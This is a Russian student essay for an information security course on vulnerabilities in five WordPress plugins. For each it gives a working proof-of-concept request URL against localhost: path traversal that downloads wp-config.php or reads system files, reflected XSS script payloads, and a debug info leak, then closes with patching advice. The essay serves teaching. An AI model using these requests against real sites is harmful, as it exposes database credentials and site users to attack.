Уязвимости WordPress
ФЕДЕРАЛЬНОЕ
АГЕНТСТВО ПО ОБРАЗОВАНИЮ РОССИЙСКОЙ ФЕДЕРАНЦИИ (РОСОБРАЗОВАНИЕ)
ГОУ ВПО
«ЮЖНО-УРАЛЬСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ»
ФАКУЛЬТЕТ
ЭКОНОМИКИ И ПРЕДПРИНИМАТЕЛЬСТВА
Кафедра
«Информационные системы»
Реферат
по
дисциплине «Информационная безопасность»
на тему: «Уязвимости
WordPress»
Введение
- CMS с открытым исходным кодом,
распространяемая под GNU GPL. Написан на PHP, в качестве базы данных использует
MySQL. Сфера применения - от блогов до достаточно сложных новостных ресурсов и
даже интернет-магазинов. Встроенная система «тем» и «плагинов» вместе с удачной
архитектурой позволяет конструировать практически любые проекты.
Возможности:
возможность публикации с помощью сторонних
программ и сервисов;
простота установки, настройки;
поддержка RSS,
Atom, trackback,
pingback;
подключаемые модули (плагины) с уникальной
простой системой их взаимодействия с кодом;
поддержка так называемых «тем», позволяющих
легко менять как внешний вид, так и способы вывода данных;
«темы» реализованы как наборы файлов-шаблонов на
PHP, что положительно сказывается на скорости и гибкости;
громадные библиотеки «тем» и «плагинов»;
заложенный потенциал архитектуры позволяет легко
реализовывать сложные решения;
наличие ЧПУ (человеко-понятный URL);
наличие русских переводов.
На данный момент WordPress
является быстро развивающейся CMS,
поэтому с каждой новой версией, конечно же, появляются и новые уязвимости, но
так как версии обновляются довольно часто, то найденные в предыдущих версиях
уязвимости устраняются разработчиками, и таким образом выявить новые уязвимости
становится затруднительно. В данном реферате мы рассмотрим уязвимости CMS
WordPress, которые
образуются вследствие установки тех или иных плагинов.
.1 Уязвимость WordPress
в плагине Emaily
Была найдена уязвимость в плагине WordPress
- Emaily.
Уязвимость находится
в
файле:
-
/wp-content/plugins/wp-emaily/wp-emaily-zip-creation.php
Удаленный пользователь может с помощью
специально сформированного запроса получить файл настроек WordPress.
Пример запроса:
://localhost/wordpress/wp-content/plugins/wp-emaily/wp-emaily-zip-creation.php?filename=../../../../wp-config.php
Вводим данный запрос в адресную строку.
Получаем zip
архив с файлом настроек WordPress
.2 XSS
уязвимость в WordPress
плагине FeedList
Обнаружена уязвимость в WordPress плагине FeedList
которая позволяет удаленному пользователю выполнить XSS
атаку на сервер.
Уязвимость находится в файлах:
-
wp-content/plugins/feedlist/handler_image.php
-
wp-content/plugins/feedlist/simplepie.inc
Пример запроса:
://localhost/wordpress/wp-content/plugins/feedlist/handler_image.php?i=<script>alert(123)</script>
Вводим данный запрос в адресную строку.
Видим, что скрипт успешно выполнился.
.3 Межсайтовый скриптинг WordPress в плагине
Page Flip Image Gallery
Найдена уязвимость в плагине WordPress
Page Flip
Image Gallery.
Данная уязвимость позволяет удаленному пользователю произвести XSS нападение.
Удаленный пользователь может с помощью
специально сформированного запроса выполнить произвольный код сценария в
браузере жертвы в контексте безопасности уязвимого сайта.
Уязвимость находится
в
файле:
-
wp-content\plugins\page-flip-image-gallery\script.php
Пример запроса:
://localhost/wordpress/wp-content/plugins/page-flip-image-gallery/script.php?action=test&id=<script>alert(123)</script>
Вводим данный запрос в адресную строку.
Видим, что скрипт успешно выполнился.
.4 Уязвимость в плагине WordPress WP Auctions
wordpress уязвимость плагин
скриптинг
Найдена уязвимость в WordPress плагине WP
Auctions. Данная уязвимость позволяет получить версию WordPress
а также сведения о php.
Уязвимость находится в файле:
- /wp-content/plugins/wp-auctions/wp_auctions.php
Пример запроса:
://localhost/wordpress/wp-content/plugins/wp-auctions/wp_auctions.php?debug
Получаем версию WordPress
и все сведения о php.
1.5 Уязвимость
в
WordPress плагине Old Post
Spinner
Найдена уязвимость в плагине WordPress, которая
называется Old
Post Spinner.
Эта уязвимость позволяет удаленному пользователю прочесть любой файле на
целевой системе.
Уязвимость находится
в
файле:
-
/wp-content/plugins/old-post-spinner/logview.php
Пример запроса:
://localhost/wordpress/wp-content/plugins/old-post-spinner/logview.php?ops_file=../../../../../../windows//system32//drivers//etc//hosts
Вводим данный запрос в адресную строку.
Читаем содержимое запрашиваемого нами файла.
Заключение
Безопасность WordPress
- очень важный аспект в работе системы. Понятно, что сегодня интернет не
является такой уж безобидной средой, а наоборот содержит множество угроз в виде
троянов, вирусов и пр. Поскольку WordPress
open sourse система, то хакеры имеют доступ к исходному коду, что позволяет
находить в нем различные дыры для взлома.
Поэтому важным элементом безопасности wordpress
есть своевременное обновление системы до самых поздних версий, содержащих все
нужные исправления безопасности. Еще одним потенциальным источником риска
являются плагины: во-первых, их не всегда делают профессионалы в области
безопасности или даже программирования, а во-вторых, сами злоумышленники могут
создавать подобные модули. Поэтому в целях безопасности WordPress
рекомендуется устанавливать лишь популярные и проверенные плагины, а также
отказываться от таких, которые можно заменить обычной правкой кода. Либо если
есть уязвимость в надежном и проверенном плагине, то подождать обновления для
этого плагина, которое устранит данную уязвимость, и не использовать этот
плагин до выхода обновления.